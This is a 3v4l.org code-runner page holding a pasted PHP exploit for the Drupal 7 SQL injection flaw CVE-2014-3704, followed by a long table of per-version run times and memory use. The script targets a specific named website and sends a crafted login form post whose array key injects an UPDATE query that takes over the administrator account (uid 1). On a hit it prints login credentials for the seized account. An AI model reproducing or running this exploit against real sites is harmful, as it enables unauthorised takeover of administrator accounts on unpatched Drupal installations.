3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://www.jnjarg.com/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01019.05
8.3.50.0180.00321.10
8.3.40.0210.00019.22
8.3.30.0110.00419.35
8.3.20.0080.00020.59
8.3.10.0000.00923.86
8.3.00.0050.00319.75
8.2.180.0120.00316.63
8.2.170.0080.00822.96
8.2.160.0030.01220.60
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0030.00822.33
8.2.110.0030.00622.50
8.2.100.0120.00017.88
8.2.90.0090.00019.30
8.2.80.0050.00317.97
8.2.70.0050.00317.63
8.2.60.0020.01017.80
8.2.50.0030.00618.07
8.2.40.0080.00020.19
8.2.30.0000.00718.43
8.2.20.0040.00417.89
8.2.10.0000.00718.34
8.2.00.0030.00517.95
8.1.280.0070.00725.92
8.1.270.0100.00024.13
8.1.260.0000.00826.35
8.1.250.0070.00028.09
8.1.240.0100.00024.10
8.1.230.0060.00619.39
8.1.220.0000.00818.04
8.1.210.0000.00818.77
8.1.200.0040.00417.50
8.1.190.0040.00417.35
8.1.180.0080.00018.10
8.1.170.0060.00318.67
8.1.160.0080.00022.23
8.1.150.0040.00419.11
8.1.140.0040.00417.57
8.1.130.0030.00517.96
8.1.120.0040.00417.61
8.1.110.0030.00517.58
8.1.100.0040.00417.56
8.1.90.0040.00417.68
8.1.80.0080.00017.58
8.1.70.0050.00217.56
8.1.60.0060.00317.62
8.1.50.0030.00617.67
8.1.40.0040.00417.63
8.1.30.0050.00317.78
8.1.20.0030.00517.83
8.1.10.0000.00817.69
8.1.00.0080.00017.54
8.0.300.0000.00718.77
8.0.290.0040.00417.00
8.0.280.0070.00018.68
8.0.270.0050.00317.53
8.0.260.0040.00417.53
8.0.250.0040.00417.20
8.0.240.0000.00717.23
8.0.230.0040.00317.21
8.0.220.0070.00017.14
8.0.210.0000.00717.03
8.0.200.0060.00017.20
8.0.190.0060.00317.27
8.0.180.0040.00417.27
8.0.170.0080.00017.15
8.0.160.0050.00217.24
8.0.150.0000.00717.28
8.0.140.0000.00717.07
8.0.130.0040.00213.68
8.0.120.0030.00517.18
8.0.110.0040.00417.15
8.0.100.0030.00517.27
8.0.90.0000.00717.13
8.0.80.0140.00517.26
8.0.70.0040.00417.22
8.0.60.0000.00817.32
8.0.50.0060.00317.27
8.0.30.0110.01317.48
8.0.20.0140.00917.54
8.0.10.0040.00417.22
8.0.00.0080.01117.15
7.4.330.0000.00615.02
7.4.320.0030.00316.76
7.4.300.0030.00316.70
7.4.290.0000.00716.70
7.4.280.0000.00716.71
7.4.270.0030.00316.74
7.4.260.0000.00716.61
7.4.250.0050.00316.82
7.4.240.0060.00116.81
7.4.230.0070.00016.95
7.4.220.0090.00916.78
7.4.210.0090.00616.82
7.4.200.0080.00016.86
7.4.160.0170.00716.85
7.4.150.0120.00617.40
7.4.140.0070.01517.86
7.4.130.0080.01116.87
7.4.120.0080.01216.77
7.4.110.0180.00416.88
7.4.100.0140.00416.81
7.4.90.0120.00616.82
7.4.80.0170.00019.39
7.4.70.0110.00816.78
7.4.60.0120.00616.59
7.4.50.0030.00516.89
7.4.40.0060.01616.71
7.4.30.0110.00916.74
7.4.00.0030.00615.36
7.3.330.0030.00313.66
7.3.320.0060.00013.56
7.3.310.0030.00316.71
7.3.300.0060.00316.76
7.3.290.0090.00716.63
7.3.280.0070.01116.67
7.3.270.0070.01117.40
7.3.260.0110.00716.62
7.3.250.0100.00816.75
7.3.240.0170.00716.69
7.3.230.0160.00316.91
7.3.210.0090.00916.79
7.3.200.0130.00419.39
7.3.190.0120.00616.57
7.3.180.0170.00616.80
7.3.170.0120.00916.61
7.3.160.0060.01016.59
7.3.10.0000.01516.93
7.3.00.0070.00716.82
7.2.330.0120.00616.96
7.2.320.0070.01116.70
7.2.310.0100.00716.77
7.2.300.0090.01316.67
7.2.290.0100.01716.73
7.2.130.0060.00617.27
7.2.120.0070.01017.20
7.2.110.0000.01517.20
7.2.100.0030.00917.30
7.2.90.0040.01117.33
7.2.80.0130.00316.96
7.2.70.0060.00616.96
7.2.60.0070.00917.15
7.2.50.0090.00317.31
7.2.40.0040.01417.32
7.2.30.0030.00917.05
7.2.20.0100.00617.21
7.2.10.0100.00717.23
7.2.00.0020.01118.51
7.1.250.0000.01316.07
7.1.200.0140.00616.04
7.1.100.0030.00918.31
7.1.70.0080.00817.48
7.1.60.0070.01419.32
7.1.50.0110.01417.49
7.1.00.0070.07322.68
7.0.200.0120.00717.19
7.0.140.0030.07722.29
7.0.60.0100.08720.27
7.0.50.0070.08018.13
7.0.40.0030.08020.59
7.0.30.0530.07720.47
7.0.20.0270.08020.46
7.0.10.0270.07020.45
7.0.00.0130.08020.46
5.6.280.0030.07321.47
5.6.210.0030.08020.86
5.6.200.0130.06318.55
5.6.190.0130.08720.94
5.6.180.0230.08020.98
5.6.170.0400.07020.83
5.6.160.0170.06320.81
5.6.150.0100.07318.44
5.6.140.0100.05718.73
5.6.130.0030.04018.46
5.6.120.0030.04321.37
5.6.110.0030.04321.43
5.6.100.0170.07321.24
5.6.90.0070.04021.47
5.6.80.0030.04720.86
5.6.70.4100.04020.88
5.5.350.0330.07020.82
5.5.340.0100.04018.41
5.5.330.0130.07720.86
5.5.320.0330.05020.63
5.5.310.0270.07320.67
5.5.300.0030.08318.29
5.5.290.0030.05018.27
5.5.280.0230.05721.09
5.5.270.0030.04321.05
5.5.260.0070.04020.97
5.5.250.0000.09321.07
5.5.240.4130.04020.68
5.4.450.0070.06019.75
5.4.440.0830.06019.68
5.4.430.0830.06019.84
5.4.420.1070.04719.84
5.4.410.1030.06719.52
5.4.400.0800.05319.39
5.4.390.0770.06319.37
5.4.380.0930.05319.52
5.4.370.0830.05319.23
5.4.360.0630.05719.38
5.4.350.0830.04719.35
5.4.340.0090.03212.19
5.4.320.0100.03212.68
5.4.310.0070.03612.68
5.4.300.0050.03812.68
5.4.290.0070.03912.68
5.4.280.0080.03412.58
5.4.270.0050.03712.57
5.4.260.0080.03612.57
5.4.250.0060.03712.57
5.4.240.0060.03712.57
5.4.230.0100.03612.57
5.4.220.0060.03712.57
5.4.210.0020.04112.57
5.4.200.0060.03712.57
5.4.190.0100.03212.56
5.4.180.0040.03712.57
5.4.170.0050.03712.58
5.4.160.0040.03712.57
5.4.150.0080.04712.57
5.4.140.0060.04612.25
5.4.130.0080.03312.23
5.4.120.0030.03812.20
5.4.110.0100.03112.20
5.4.100.0070.03412.19
5.4.90.0030.04012.19
5.4.80.0060.04512.19
5.4.70.0100.06512.19
5.4.60.0080.04012.19
5.4.50.0050.04412.18
5.4.40.0040.04412.18
5.4.30.0040.04112.17
5.4.20.0060.03612.17
5.4.10.0070.03412.17
5.4.00.0060.03611.67
5.3.290.0070.03812.89
5.3.280.0040.04112.82
5.3.270.0070.03912.83
5.3.260.0060.04012.82
5.3.250.0080.03712.83
5.3.240.0090.03512.83
5.3.230.0060.03912.82
5.3.220.0060.03712.79
5.3.210.0050.04312.79
5.3.200.0080.03912.79
5.3.190.0060.04312.79
5.3.180.0070.03612.79
5.3.170.0070.04912.78
5.3.160.0050.03812.78
5.3.150.0050.04012.79
5.3.140.0080.03612.78
5.3.130.0120.03612.77
5.3.120.0070.04112.77
5.3.110.0070.03712.77
5.3.100.0090.03312.26
5.3.90.0050.03612.24
5.3.80.0060.03512.23
5.3.70.0080.03512.23
5.3.60.0060.03912.22
5.3.50.0050.03512.16
5.3.40.0050.03712.16
5.3.30.0060.03812.13
5.3.20.0100.03611.91
5.3.10.0020.03811.88
5.3.00.0040.03811.86
5.2.170.0040.0309.36
5.2.160.0020.0319.36
5.2.150.0060.0299.36
5.2.140.0050.0329.36
5.2.130.0080.0349.32
5.2.120.0060.0399.32
5.2.110.0050.0299.32
5.2.100.0090.0259.32
5.2.90.0030.0319.32
5.2.80.0050.0309.32
5.2.70.0060.0299.32
5.2.60.0070.0289.27
5.2.50.0050.0329.23
5.2.40.0060.0279.21
5.2.30.0080.0279.19
5.2.20.0060.0289.18
5.2.10.0060.0289.08
5.2.00.0050.0328.93
5.1.60.0060.0268.22
5.1.50.0080.0268.22
5.1.40.0060.0258.20
5.1.30.0060.0248.55
5.1.20.0070.0248.57
5.1.10.0050.0258.30
5.1.00.0050.0288.30
5.0.50.0060.0186.78
5.0.40.0050.0186.65
5.0.30.0000.0386.45
5.0.20.0030.0226.41
5.0.10.0030.0226.38
5.0.00.0020.0356.37
4.4.90.0030.0154.78
4.4.80.0050.0144.75
4.4.70.0040.0144.75
4.4.60.0030.0154.75
4.4.50.0060.0144.77
4.4.40.0040.0244.71
4.4.30.0020.0164.76
4.4.20.0050.0134.84
4.4.10.0030.0154.85
4.4.00.0030.0254.76
4.3.110.0030.0154.67
4.3.100.0020.0154.66
4.3.90.0000.0184.63
4.3.80.0030.0244.59
4.3.70.0000.0174.63
4.3.60.0030.0144.63
4.3.50.0010.0164.63
4.3.40.0040.0274.54
4.3.30.0030.0153.31
4.3.20.0050.0133.29
4.3.10.0040.0233.23
4.3.00.0100.0206.87

preferences:
42.11 ms | 401 KiB | 5 Q